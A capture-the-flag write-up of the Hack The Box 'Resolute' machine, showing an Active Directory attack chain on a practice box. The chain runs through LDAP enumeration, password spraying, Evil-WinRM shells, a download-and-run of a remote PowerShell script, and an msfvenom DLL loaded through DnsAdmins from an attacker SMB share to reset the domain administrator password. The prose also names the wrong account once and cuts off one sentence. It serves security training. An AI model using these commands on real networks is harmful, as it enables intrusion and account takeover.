[HTB] Resolute


The Resolute machine has been created by egre55. This is a medium Windows Machine with a strong focus on Active Directory exploitation. This box was interesting as it showed how to get high privileges using DnsAdmins permissions.

If you didn’t solve this challenge and just look for answers, first you should take a look at this mind map from Orange Cyberdefense and try again. It could give you some hints for attack paths when dealing with an Active Directory.

image-center

Note: All the actions performed against the target machine have been done with a standard Kali Linux machine. You can download Kali from the official website here.

Reconnaissance

In a penetration test or red team, reconnaissance consists of techniques that involve adversaries actively or passively gathering information that can be used to support targeting.

This information can then be leveraged by an adversary to aid in other phases of the adversary lifecycle, such as using gathered information to plan and execute initial access, to scope and prioritize post-compromise objectives, or to drive and lead further reconnaissance efforts. Here, our only piece of information is an IP address.

Scan with Nmap

Let’s start with a classic service scan with Nmap in order to reveal some of the ports open on the machine.

Note: Always allow a few minutes after the start of an HTB box to make sure that all the services are properly running. If you scan the machine right away, you may miss some ports that should be open.

$ nmap -sV -Pn 10.129.96.155
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-07 13:43 EST
Nmap scan report for 10.129.96.155
Host is up (0.017s latency).
Not shown: 989 closed tcp ports (conn-refused)
PORT     STATE SERVICE      VERSION
53/tcp   open  domain       Simple DNS Plus
88/tcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2022-02-07 18:50:31Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: MEGABANK)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.44 seconds

Remember: By default, Nmap will scans the 1000 most common TCP ports on the targeted host(s). Make sure to read the documentation if you need to scan more ports or change default behaviors.

As we can see, the output reveals an LDAP (TCP/389) port with the megabank.local domain name. Let’s see if we can extract some users.

LDAP

First, we can try an anonymous bind on the LDAP port using ldapsearch to look for some information. Here, we used the grep command to look for the userPrincipalName attribute that specifies the UPN of the users.

$ ldapsearch -x -b "dc=megabank,dc=local" "*" -H ldap://10.129.96.155 | grep userPrincipalName 
userPrincipalName: ryan@megabank.local
userPrincipalName: marko@megabank.local
userPrincipalName: sunita@megabank.local
userPrincipalName: abigail@megabank.local
userPrincipalName: marcus@megabank.local
userPrincipalName: sally@megabank.local
userPrincipalName: fred@megabank.local
userPrincipalName: angela@megabank.local
userPrincipalName: felicia@megabank.local
userPrincipalName: gustavo@megabank.local
userPrincipalName: ulf@megabank.local
userPrincipalName: stevie@megabank.local
userPrincipalName: claire@megabank.local
userPrincipalName: paulo@megabank.local
userPrincipalName: steve@megabank.local
userPrincipalName: annette@megabank.local
userPrincipalName: annika@megabank.local
userPrincipalName: per@megabank.local
userPrincipalName: claude@megabank.local
userPrincipalName: melanie@megabank.local
userPrincipalName: zach@megabank.local
userPrincipalName: simon@megabank.local
userPrincipalName: naoki@megabank.local

The anonymous bind worked and we got some usernames. Let’s dig a bit further, maybe there are interesting things in the description field of some of them.

In real world scenarios, system administrators frequently store passwords for non-personal accounts in the description field of the account. However, this field is readable by all users by default in Active Directory.

$ ldapsearch -x -b "dc=megabank,dc=local" "*" -H ldap://10.129.96.155 | grep -E 'userPrincipalName|description'

...[snip]...

userPrincipalName: ryan@megabank.local
description: Account created. Password set to Welcome123!
userPrincipalName: marko@megabank.local
userPrincipalName: sunita@megabank.local
userPrincipalName: abigail@megabank.local
userPrincipalName: marcus@megabank.local
userPrincipalName: sally@megabank.local

...[snip]...

Interesting, the marko@megabank.local have a description specifying a cleartext password.

Initial Access

Now, we can try to get an access using the previously found password and the marko account.

$ crackmapexec smb 10.129.96.155 -d megabank.local -u marko -p 'Welcome123!'
SMB         10.129.96.155   445    RESOLUTE         [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\marko:Welcome123! STATUS_LOGON_FAILURE 

No luck. But, maybe another user is configured with this password as password reuse is fairly common.

Password Spraying

As stated by MITRE, adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password, or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords.

Here we built a list of usernames and used it in a password spraying attack with crackmapexec to see if it yields any results.

$ crackmapexec smb 10.129.96.155 -d megabank.local -u users.txt -p 'Welcome123!' --continue-on-success
SMB         10.129.96.155   445    RESOLUTE         [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\ryan:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\marko:Welcome123! STATUS_LOGON_FAILURE 

...[snip]...

SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\annika:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\per:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\claude:Welcome123! STATUS_LOGON_FAILURE 
SMB         10.129.96.155   445    RESOLUTE         [+] megabank.local\melanie:Welcome123! 
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\zach:Welcome123! STATUS_LOGON_FAILURE 

Great, we now have credentials the melanie domain account (melanie:Welcome123!).

WinRM Access

Again, using CrackMapExec, we can check if we can get access with WinRM.

$ crackmapexec winrm 10.129.96.155 -u melanie -p 'Welcome123!' -d megabank.local
HTTP        10.129.96.155   5985   10.129.96.155    [*] http://10.129.96.155:5985/wsman
WINRM       10.129.96.155   5985   10.129.96.155    [+] megabank.local\melanie:Welcome123! (Pwn3d!)

The password is valid and we do have a WinRM access to the remote computer. Using Evil-WinRM and the recovered account, we can try to connect to the remote machine.

$ evil-winrm -i 10.129.96.155 -u melanie -p 'Welcome123!' 

Evil-WinRM shell v3.3
Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\melanie\Documents> dir ..\Desktop


    Directory: C:\Users\melanie\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---         2/7/2022  10:48 AM             34 user.txt

We now have a remote shell access and the first flag.

Privilege Escalation

Privilege Escalation consists of techniques that adversaries use to gain higher-level permissions on a system or network. Adversaries can often enter and explore a network with unprivileged access but require elevated permissions to follow through on their objectives. Common approaches are to take advantage of system weaknesses, misconfigurations, and vulnerabilities.

Active Directory Recon

With a valid account, we can now use one of the BloodHound ingestors and gather more information about the Active Directory. Here, we use a Python based ingestor for BloodHound, BloodHound.py.

$ bloodhound-python -c All -u melanie -p 'Welcome123!' -d megabank.local -ns 10.129.96.155 --zip
INFO: Found AD domain: megabank.local
INFO: Connecting to LDAP server: Resolute.megabank.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: Resolute.megabank.local
INFO: Found 27 users
INFO: Found 53 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: MS02.megabank.local
INFO: Querying computer: Resolute.megabank.local
INFO: Done in 00M 04S
INFO: Compressing output into 20220207140125_bloodhound.zip

Now, you can import the generated file (20220207140125_bloodhound.zip) in BloodHound by running sudo neo4j start, then execute BloodHound in another terminal with the bloodhound command.

Recon with PrivescCheck

Before going further with our BloodHound results, let’s see if we can elevate our local privileges and get a local administrator access. Using PrivescCheck, a script that aims to enumerate common Windows configuration issues, let’s try to enumerate common Windows configuration issues that can be leveraged for local privilege escalation.

Note that we used the local Apache service to host the file and download it from the remote machine. The -Extended flag aims to gather more information.

*Evil-WinRM* PS C:\Users\melanie\Desktop> IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.xx/PrivescCheck.ps1'); Invoke-PrivescCheck -Extended

...[snip]...

+------+------------------------------------------------+------+
| TEST | HARDENING > PowerShell Transcription           | INFO |
+------+------------------------------------------------+------+
| DESC | Check whether PowerShell Transcription is configured  |
|      | and enabled. If so, the path of the output log file   |
|      | will be returned.                                     |
+------+-------------------------------------------------------+
[*] Found 1 result(s).


EnableTranscripting    : 0
EnableInvocationHeader : 0
OutputDirectory        : C:\PSTranscipts

...[snip]...

We may have some interesting information in the PSTranscipts folder, let’s take a look at this directory.

*Evil-WinRM* PS C:\> cd C:\PSTranscripts
*Evil-WinRM* PS C:\PSTranscripts> dir -force


    Directory: C:\PSTranscripts


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d--h--        12/3/2019   6:45 AM                20191203


*Evil-WinRM* PS C:\PSTranscripts> cd 20191203
*Evil-WinRM* PS C:\PSTranscripts\20191203> dir -force


    Directory: C:\PSTranscripts\20191203


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-arh--        12/3/2019   6:45 AM           3732 PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt

One file seems to be present in the 20191203 directory.

*Evil-WinRM* PS C:\PSTranscripts\20191203> cat PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt

...[snip]...

**********************
Command start time: 20191203063455
**********************
PS>ParameterBinding(Out-String): name="InputObject"; value="PS megabank\ryan@RESOLUTE Documents> "
PS megabank\ryan@RESOLUTE Documents>
**********************
Command start time: 20191203063515
**********************
PS>CommandInvocation(Invoke-Expression): "Invoke-Expression"
>> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!

if (!$?) { if($LASTEXITCODE) { exit $LASTEXITCODE } else { exit 1 } }"

...[snip]...

Nice, we found cleartext credentials for ryan in the transcript. Maybe this user has elevated privileges on the domain.

Domain Compromise with DnsAdmins

According to BloodHound, the user ryan is a member of DnsAdmins. As stated by this post, being a member of the DnsAdmins group allows us to use the dnscmd.exe to specify a plugin DLL that can be loaded by the DNS service with SYSTEM privileges, which means we can do whatever we want!

image-center

Let’s create a simple DLL using msfvenom that changes the administrator account password.

$ cd /tmp
$ msfvenom -p windows/x64/exec CMD='net user administrator Qwerty1! /domain' -f dll -o hello.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 307 bytes
Final size of dll file: 8704 bytes
Saved as: hello.dll

As transferring this to the box would likely trigger Windows Defender or any other security solution, we can use impacket-smbserver to start an SMB server and host the DLL remotely.

Note that the DLL was placed in the /tmp directory of the attacking machine.

$ impacket-smbserver smb /tmp                      
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

The dnscmd utility can be used to set the remote DLL path into the Windows Registr

Now, we can use evil-winrm and the ryan credentials to load our malicious DLL remotely.

$ evil-winrm -i 10.129.96.155 -u ryan -p 'Serv3r4Admin4cc123!'

Evil-WinRM shell v3.3
Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\ryan\Documents> cmd.exe /c dnscmd localhost /config /serverlevelplugindll \\10.10.14.62\smb\hello.dll

Registry property serverlevelplugindll successfully reset.
Command completed successfully.

Next, we need to restart the DNS service in order to load our malicious DLL. Normally, DnsAdmins aren’t able to restart the DNS service by default, but it is likely that they would be given permissions to do this and on this domain and this is indeed the case.

*Evil-WinRM* PS C:\Users\ryan\Documents> sc.exe stop dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 3  STOP_PENDING
                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x1
        WAIT_HINT          : 0x7530
*Evil-WinRM* PS C:\Users\ryan\Documents> sc.exe start dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 2988
        FLAGS              :

Now, let’s see if the administrator password was changed.

$ crackmapexec smb 10.129.96.155 -d megabank.local -u Administrator -p 'Qwerty1!'
SMB         10.129.96.155   445    RESOLUTE         [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)
SMB         10.129.96.155   445    RESOLUTE         [+] megabank.local\Administrator:Qwerty1! (Pwn3d!)

Great, we now have valid credentials for the administrator account. Then, we can connect on the remote machine with administrative privileges and read the second flag.

$ crackmapexec smb 10.129.96.155 -d megabank.local -u Administrator -p 'Qwerty1!' -x 'dir C:\Users\Administrator\Desktop\'        
SMB         10.129.96.155   445    RESOLUTE         [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)
SMB         10.129.96.155   445    RESOLUTE         [+] megabank.local\Administrator:Qwerty1! (Pwn3d!)
SMB         10.129.96.155   445    RESOLUTE         [+] Executed command 
SMB         10.129.96.155   445    RESOLUTE         Volume in drive C has no label.
SMB         10.129.96.155   445    RESOLUTE         Volume Serial Number is D1AC-5AF6
SMB         10.129.96.155   445    RESOLUTE         
SMB         10.129.96.155   445    RESOLUTE         Directory of C:\Users\Administrator\Desktop
SMB         10.129.96.155   445    RESOLUTE         
SMB         10.129.96.155   445    RESOLUTE         12/04/2019  05:18 AM    <DIR>          .
SMB         10.129.96.155   445    RESOLUTE         12/04/2019  05:18 AM    <DIR>          ..
SMB         10.129.96.155   445    RESOLUTE         02/07/2022  10:48 AM                34 root.txt
SMB         10.129.96.155   445    RESOLUTE         1 File(s)             34 bytes
SMB         10.129.96.155   445    RESOLUTE         2 Dir(s)   2,475,847,680 bytes free

Awesome! I hope you enjoyed it, I know I did :)